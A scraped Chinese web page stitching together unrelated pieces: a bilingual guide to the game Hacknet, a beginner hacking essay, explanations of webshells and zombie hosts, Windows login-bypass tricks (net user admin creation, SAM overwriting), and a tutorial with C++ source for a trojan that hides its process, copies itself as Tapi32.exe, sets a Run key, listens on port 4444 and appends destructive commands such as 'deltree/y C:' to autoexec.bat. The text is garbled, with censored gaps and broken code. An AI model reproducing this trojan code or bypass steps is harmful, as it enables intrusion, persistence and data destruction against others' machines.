黑客 *** Hacknet你会玩了吗?小伙伴们是不是正在为看不懂英文而烦恼呢,不要烦恼,今日小编为大家带来最全的新手指南,全中文翻译哦,感兴趣的玩家赶紧来看看吧!
Basic Tips 基础窍门
***IMPORTANT*** Some computers/servers may have different names on them, but what you need to do should be the same. Just follow the steps, you will be fine.
***非常重要*** 有些电脑/服务器可能有不同的名字,但你所要做的应该相同。遵循如下步骤,您就不会有问题。
DON'T abandon any missions atm!! It will most likey cause serious problems and make you unable to finish the game!
眼下,***请勿***放弃任何任务!!这很可能导致严重问题并最终无法完成游戏,毁掉您的存档!
1, Type commands as soon as possible.
2, Delete logs when you disconnect.
3, You need to reply almost every time you finish a mission.
4, Always use "Scan Network" option when you successfully hack a computer.
5, Don't delete/rename files unnecessarily. -This is important!!
6, Use auto-complete for commands and file names. (Tab key)
7, Always use "admin" "alpine" to log in to any eos devices.
1.尽速输入指令。(译者:更要善用Tab)
2.断线前别忘了删log。(译者:虽然我不删也没有什么麻烦……)
3.不要忘了完成任务时回复邮件。(极少数情况不需要)
4.成功骇入电脑时总扫描一遍主机。(译者:★★★★★推荐)
5.无必要时不要删除/重命名任何文件!—十分重要。
6.使用“自动拼写”(Tab键)输入指令及文件名。
7.不要忘了“admin”“alpine”这神奇的eos设备账户。
译者:即使你希望独立完成游戏,我也非常推荐您阅读这些提示,它们非常有用。另外我在此补充几条。
(但愿我没记错……)
1.SQL的入侵工具和K *** ,即104端口入侵工具可以忽视Proxy和Firewall。
2.Firewall和Proxy的破解是独立的,你可以一边破解proxy一边 *** ysis。更有甚者,用Tracekill可以允许您慢悠悠地破解完Firewall,再攻破proxy。
3.在shell里按overload破解proxy,对吧?然而如果内存不足,这些窗口会折叠,并在内存足够时展开。(如果我说的不清楚,可以试着在您的电脑上运行一堆shell并点按trap,然后关掉其中一个窗口。)除了略有点壮观以外,这是个“储存”足够多shell的小技巧。
4.不过,5~7个shell一般够了。
5.在几次 *** yze后弹出的几行文字里应该会各有一个字符,如果某一行里全是”0”怎么办?有时这意味着所对应的代码就是0。例如:(只是示范)
0 0 0 0 0 0 0 0 0 0 2 0 0 0
0 0 0 0 0 5 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0
结果就是250。(我才不是250呢!)
Troubleshooting Common Problems
Q, I don't get an email to start a new mission!! What do I do now!?
A, Make sure to check following things:
1, Your previous mission has finished. (Click "Reply" in the email for it and see if "Mission Incomplete" message shows up.)
2, You don't have any available missions in your current faction's contracts server. (Or the message board if you're working on /el missions.)
3, Restart your game and your problem is still there.
常见问题解决方案。(疑难杂症)
Q:我得不到开始新任务的邮件!!我该怎么办!
A:出门检查您的邮筒(划掉)。请确认您已检查过以下条件。
1.你上一个的任务已完成。[尝试点按邮件中的“Reply”(回复)看会不会出现“Mission incomplete”(任务未完成)。]
2.在您现在所处的派系(Entropy,CSEC,…)没有可用的任务,或者
在/el任务里信息板上没有任务。
3.重启游戏问题仍存在。
For "gg wp" from Naix, you need to revenge Naix BEFORE you start any new Entropy mission. Details in "Naix Missions" section below.
对于Naix的“友善问好”,你要在完成Entropy任务***之前***对Naix报仇。下面的“Naix任务”一栏会给您帮助。
If none of these helps you, you might have had a critical bug... The devs are working on an update to fix many bugs, so wait for it... Meanwhile, you still can try 2 options:
1, Editing your save data (Here's the link: http:// http://steamcommunity.com/sharedfiles/filedetails/?id=500893610 Be super careful with your savedata.)
2, Start a new session (This is much easier... You also can work on achievements that you missed.)
若以上几条都不起作用,您已无药可救了(划掉)。您可能遇到了一个严重的bug(您不会连bug也不知道吧?)。开发者们(们?)在致力于更新游戏以修正bug。所以只能等了。
在此时,您可以尝试以下 *** 。
1.编辑您的存档。(敬参阅{链接已删除}请特别小心对待您的存档)
2.再开个存档。(不仅简单多了,还可以去做您以前忽略的成就。)
Q, I don't have the necessary exe file to do this mission!! UGGHHHH
A, Here is the list of exe files, and in which mission you can find them. Use "CTRL+F" on this guide and search for them.
Q.我怎么没有做任务所需的工具!!啊啊啊!!
A.这是exe文件列表及其来源,用"CTRL+F"在这指南里搜索一下。
SecurityTracer.exe - "First Contact", or on "Credit Server" after you finish the game.
SSHcrack.exe (for port 22) - "Getting Some tools together"
FTPBounce.exe (for port 21) - "Welcome"
eosDeviceScan.exe (for finding eos device) - "eOS Device Scanning"
*** TPoverflow.exe (for port 25) - "Aggression must be punished"
WebServerWorm.exe (for port 80) - "***Revenging Naix***", or "CSEC Invitation"
SQLBufferOverflow.exe (for port 1433) - "-Shrine of Polar Star-"
SQL_MemCorrupt.exe (for port 1433) - "CSEC Invitation - Congratulations"
Decypher.exe (for decrypting files) - "Ghosting the Vault"
DECHead.exe (for *** yzing .dec files) - "Through the Spyglass"
K *** _PortTest.exe (for port 104) - "Project Junebug"
TraceKill.exe (for freezing traces) - "Bit -- Foundation"
Sequencer.exe (for the final hacking) - "Bit -- Termination"
Clock.exe (Um...just a clock app) - Read "-Finding Clock.exe-"
SecurityTracer.exe(安全追踪程序) -来自 "First Contact"(之一次沟通), 或在完成游戏时的"Credit Server" (荣誉服务器)上。
SSHcrack.exe (ssh协议破解器)(适用端口 22) - "Getting Some tools together"(收集些工具)
FTPBounce.exe (ftp“跳转攻击”破解器)(适用端口21) - "Welcome"(欢迎)
eosDeviceScan.exe(eos设备搜寻器) (适用寻找eos设备) - "eOS Device Scanning"(搜寻eos设备)
*** TPoverflow.exe(邮件过载破解器) (适用端口25) - "Aggression must be punished"(侵略者必将受惩处)
WebServerWorm.exe ( *** 蠕虫破解器)(适用端口80) - "***Revenging Naix***"(向Naix复仇 译者:这不是一个官方给出的任务名,我没记错的话。), or "CSEC Invitation"(CSEC诚邀您到来)
SQLBufferOverflow.exe (SQL内存缓冲区过载破解器)(适用端口1433) - "-Shrine of Polar Star-"(北极星圣地)
SQL_MemCorrupt.exe(SQL_内存错误破解器) (for port 1433) - "CSEC Invitation - Congratulations"(CSEC邀请-祝贺!)
(译者:根据另一个指南,这两个SQL破解器完全一样。)
Decypher.exe (解密器)(适用解密文件) - "Ghosting the Vault"[拱顶鬼神(?)]
DECHead.exe (十六进制文件头查看器/加密文件查看器?)(适用分析加密文件) - "Through the Spyglass"(通过望远镜)
K *** _PortTest.exe[K *** 端口测试器(其实也是破解器。)] (适用端口104) - "Project Junebug"(Junebug项目)
TraceKill.exe(阻止追踪) (适用冻结追踪) - "Bit -- Foundation"(Bit-支柱)
Sequencer.exe(排序器) (适用最后骇入) - "Bit -- Termination"(Bit-终局)
Clock.exe (钟)(Hmm…只是个钟的软件) - Read "-Finding Clock.exe-"(敬参阅“寻找‘Clock.exe’”)
For K *** _PortTest.exe, you can try this method if you don't get "Project Junebug" unlocked, or mistakenly abandoned it. Thank you, Elsarild!
对于K *** _PortTest.exe,若您没有解锁“Junebug项目”,或失误取消了这个任务,可以试试这个 *** 。谢谢您,Elsarild!
http:// http://steamcommunity.com/sharedfiles/filedetails/?id=500893610
Q, I can't use this command somehow!! Fuuuuuuuuuuuuuuu
A, Make sure to check if you already have the necessary exe for the command, then try typing commands like below:
Q,由于某种原因我没法用这命令!(根据相关法律法规和政策,该信息不予公布)
A,确认您已具备所需的软件,然后根据以下范例输入命令。
译者:Hacknet的命令似乎更接近Linux。
Command Template - Example
命令 样板 - 范例
scp [the file's name] - scp index.html
connect [the IP address] - connect 103.33.8.643
cd [the folder path] - cd /log
replace [the file's name] "[target words]" "[your words]" - replace template.txt "[FIRST_NAME]" "John"
(If you use "cat" and open the file, you can use 'replace "[FIRST_NAME]" "John" ' instead. Use the full command above if you get "Assuming active flag file" error.)
Decypher [the file's name] [its password] - Decypher naix_secrets.dec D1CKS
DECHead [the file's name] - DECHead naix_private_photos.dec
mv [target's name] [new name] - mv template.txt Boorman_John[111]
scp (文件传输)[the file's name(文件名)] - scp index.html
connect(连接) [the IP address(IP地址)] - connect 103.33.8.643
cd (改变目录)[the folder path(文件地址)] - cd /log
replace(替换) [the file's name(文件名)] "[target words(文件中目标文字)]" "[your words(你想要替代它的文字)]" - replace template.txt "[FIRST_NAME]" "John"
[若您使用cat打开文件,你可以使用以下命令:“replace "[FIRST_NAME]" "John"”,若得到"Assuming active flag file"(译者:我对这句实在没辙……抱歉……)错误则打全整条命令。]
Decypher [the file's name(文件名)] [its password(其密码,有时没有)] - Decypher naix_secrets.dec D1CKS
mv(移动) [target's name(目标文件名)] [new name(新名)] - mv template.txt Boorman_John[111]
http://baijiahao.baidu.com/s?id=1562388024263764wfr=spiderfor=pc
一、学习技术:
互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。
二、伪装自己:
黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对 *** 进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
如果有朝一日你成为了真正的黑客,我也同样不赞成你对 *** 进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。
三、发现漏洞:
漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点--世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。
四、利用漏洞:
对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护 *** 安全的事情;
5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的 *** !
第二节、黑客应掌握的基本技能
从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。
一、了解一定量的英文:
学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内 *** 管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的 *** 安全网站。
二、学会基本软件的使用:
这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用 *** ,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。
三、初步了解 *** 协议和工作原理:
所谓“初步了解”就是“按照自己的理解方式”弄明白 *** 的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候 *** 是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。
四、熟悉几种流行的编程语言和脚本:
同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。
五、熟悉 *** 应用程序:
*** 应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者更好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚 *** 工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果
/本篇文章来源于 新贵网 原文出处:http://www.2xg.cn/?dp-bbsthread-67435.html
肉鸡就是具有更高管理权限的远程电脑。简单的说就是受你控制的远程电脑。肉鸡可以是win、Unix/Linux……等各种系统;肉鸡可以是一家公司的服务器,一家网站的服务器,甚至是美国白宫或军方的电脑,只要你有这本事入侵并控制他,呵呵。莱鸟所说用的肉鸡一般是开了3389端口的Win2K系统的服务器。
要登陆肉鸡,必须知道3个参数:远程电脑的IP、用户名、密码。
webshell是什么?这是很多朋友在疑惑的问题,什么是webshell?今天我们就讲讲这个话题!
webshell是web入侵的脚本攻击工具。简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
为了更好理解webshell我们学习两个概念:
什么是“木马”?“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从 *** 上下载(Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。
什么是后门?大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。
webshell的优点
webshell 更大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
如何寻找webshel:
1,脚本攻击SQL注入
2,使用注入工具
3,在浏览器里打开百度,输入搜索关键词"在本页操作不需要FSO支持"或者"一次只能执行一个操作",然后点击搜索,很快就可以看到检索到了大量的查询结果.
有两个 *** 可以试试:
①将你的硬盘放到别的机子上做从盘,将他电脑里的C:\WINDOWS\system32\config下的SAM文件覆盖到你的电脑里(路径相同),再把你的硬盘装回自己电脑里去,就可以了。
②启动时按F8
选“带命令行的安全模式”
选“Administrator”跳出“Command Prompt”窗口
增加用户:net user asd/add
升管理员:net localgroup administrators asd /add
重启,选asd进入
控制面板----用户帐号----忘记密码的用户--删除密码
打开设了密码的电脑的办法
你是否为家人担心你的眼睛健康或者担心你的成绩下降而用密码锁起了电脑而烦恼呢?我推荐你3个 *** ,可以打开用密码锁上的电脑:
1、开机时按F11一键复原,复原后密码就不见了(除非是设了密码才备份的),可
以直接进入。
缺点:容易让别人发现,并且C盘的东西全部都恢复到备份时那样(通常都是
什么都没有,其他盘不变,只有备份时安装的应用软件,),恢复时间
长,要是C盘有什么重要文件(例如:设计图),呵呵,那可不得了
啊!
2、开机后一直按F8,直到看到“带 *** 连接的安全模式”,然后用回车键选定进
入“带 *** 连接的安全模式”,再用回车键选定进入你要进的系统,弹出对话
框后不用看,直接选“是”,然后要耐心等待。进入一个叫"Administrator"的系
统,它会直接进入,然后右击“我的电脑”,进入“资源管理器”,再在左边
进入“控制面板”,然后进入“用户帐号”,见到你的用户名字(例如:HOT),
单击你的用户名,然后找到“删除用户密码”,单击后,就删除了已设的密
码,此时重启,就可以直接进入用户系统了。
缺点:容易让别人发现,操作麻烦,用时长。
3、更好办法,开机后,任其进入,到了输入密码的界面,同时按下“Ctrl”和“ Al
t”和小键盘那里的“.(Del)”出现了一个登陆对话框,在用户名那里输入 admi
nistrator ,击回车键,就进入了用户系统(之一次进要花多一点时间),进入
后你就可以按爱好设置系统(新建快捷方式),可以操作了。(我建议你快去
设置密码,这个用户原来是没密码的)
优点:进入快,可操作(安全模式里的应用软件是不可操作的(例如:Q
Q)),不会被家人发现,注销用户就会消失,入时要重新输入。(特
别注意:记住用户名 administrator ,当然,如果嫌太长,可以改,
但 一定要记住用户名和密码!!!)
缺点:有些人家登陆时直接是出现了一个登陆对话框,如果用此法,将会留下
用户名(撤消不去的,除非别人进入了已锁密码的那个系统),容易让别
人发现。
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和 *** 等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和 *** ,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令 *** 。
参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");
file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDON *** )
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
